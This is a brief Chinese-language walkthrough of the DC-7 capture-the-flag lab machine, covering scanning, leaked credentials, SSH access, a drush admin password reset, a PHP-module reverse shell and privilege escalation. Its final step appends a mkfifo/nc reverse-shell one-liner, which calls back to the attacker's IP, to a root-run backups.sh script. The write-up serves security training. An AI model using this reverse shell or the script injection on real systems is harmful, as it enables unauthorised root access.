DC-7靶场

需要准备靶机DC-7和kali系统，桥接模式：NAT

1利用nmap扫描目标系统及端口信息 nmap -A -Pn 192.168.116.152

2利用dirbuster扫描目录

 

3浏览器打开靶场

 4发现作者信息，在谷歌进行搜索

 配置文件中有一个账号密码

 5在靶机登录界面尝试登录，发现不是用户的登录密码

 6在端口扫描时发现靶机开启了ssh服务，尝试用该账户密码链接靶机

 

 7cat查看mbox文件，发现是邮件，数据库备份

 查看脚本文件

8脚本中drush命令可以对用户密码进行修改，但是要进入/var/www/html目录下才可以使用drush命令修改密码 drush user-password admin --password="123456"

9修改后的密码登录网站

 10添加php模块  https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

11反弹shell

12提权，在backups.sh脚本中写入root用户的反弹shell 

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.116.149 666 >/tmp/f" >> backups.sh

 拿flag